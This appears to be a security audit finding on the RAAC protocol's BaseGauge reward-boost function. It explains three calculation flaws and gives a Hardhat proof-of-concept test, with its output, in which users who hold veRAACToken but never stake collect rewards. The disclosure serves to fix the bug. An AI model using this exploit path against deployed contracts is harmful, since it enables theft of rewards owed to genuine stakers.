Summary
Multiple issues exist in the BaseGauge::_applyBoost() function, leading to incorrect reward distribution.
Vulnerability Details
The function BaseGauge::getUserWeight() is responsible for determining the user's weight:
function getUserWeight(address account) public view virtual returns (uint256) {
uint256 baseWeight = _getBaseWeight(account);
return _applyBoost(account, baseWeight);
}
However,_getBaseWeight() retrieves the base weight of the contract itself rather than the individual user:
function _getBaseWeight(address account) internal view virtual returns (uint256) {
@> return IGaugeController(controller).getGaugeWeight(address(this));
}
The _applyBoost() function contains multiple flaws:
The function considers a user's veRAACToken balance for reward calculation, meaning any user holding veRAACToken can receive rewards without actually staking in the contract.
The final return value is derived from the contract's baseWeight, rather than an individual user's weight.
The BoostCalculator.calculateBoost() function returns values based on 10000, but the function incorrectly uses 1e18 for calculations, leading to miscalculations.
function _applyBoost(address account, uint256 baseWeight) internal view virtual returns (uint256) {
if (baseWeight == 0) return 0;
IERC20 veToken = IERC20(IGaugeController(controller).veRAACToken());
@> uint256 veBalance = veToken.balanceOf(account);
@> uint256 totalVeSupply = veToken.totalSupply();
BoostCalculator.BoostParameters memory params = BoostCalculator.BoostParameters({
maxBoost: boostState.maxBoost,
minBoost: boostState.minBoost,
boostWindow: boostState.boostWindow,
totalWeight: boostState.totalWeight,
totalVotingPower: boostState.totalVotingPower,
votingPower: boostState.votingPower
});
uint256 boost = BoostCalculator.calculateBoost(
veBalance,
totalVeSupply,
params
);
@> return (baseWeight * boost) / 1e18;
}
Poc
Add the following test to test/unit/core/governance/gauges/RAACGauge.test.js and execute it:
describe("has veRAACToken", () => {
it("Poc", async () => {
const user3 = ethers.Wallet.createRandom().connect(ethers.provider);
await owner.sendTransaction({
to: user3.address,
value: ethers.parseEther("1")
});
await veRAACToken.mint(user3.address, ethers.parseEther("1000"));
expect(await veRAACToken.balanceOf(user1.address)).to.be.eq(await veRAACToken.balanceOf(user3.address));
await veRAACToken.mint(user2.address, ethers.parseEther("500"));
expect(await veRAACToken.balanceOf(user1.address)).to.be.eq(await veRAACToken.balanceOf(user2.address));
await veRAACToken.connect(user1).approve(raacGauge.getAddress(), ethers.MaxUint256);
await raacGauge.connect(user1).stake(ethers.parseEther("1"));
expect(await raacGauge.balanceOf(user1.address)).to.be.eq(await raacGauge.totalSupply());
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
await time.increase(WEEK);
await network.provider.send("evm_mine");
const user2BalanceStart = await rewardToken.balanceOf(user2.address);
const user3BalanceStart = await rewardToken.balanceOf(user3.address);
await raacGauge.connect(user2).getReward();
await raacGauge.connect(user3).getReward();
const user2BalanceEnd = await rewardToken.balanceOf(user2.address);
const user3BalanceEnd = await rewardToken.balanceOf(user3.address);
console.log("user2 Actual amount of reward received:",user2BalanceEnd - user2BalanceStart);
console.log("user3 Actual amount of reward received:",user3BalanceEnd - user3BalanceStart);
});
});
output:
RAACGauge
has veRAACToken
user2 Actual amount of reward received: 14999024799n
user3 Actual amount of reward received: 14999049599n
Impact
Users holding veRAACToken can receive rewards without staking in the contract.
The final reward weight is derived from the contract’s baseWeight, not the individual user's weight, leading to incorrect reward allocations.
3.The function incorrectly applies 1e18 instead of 10000, miscalculating boost values and distorting rewards.
Tools Used
Manual Review
Recommendations
Refactor the _applyBoost() function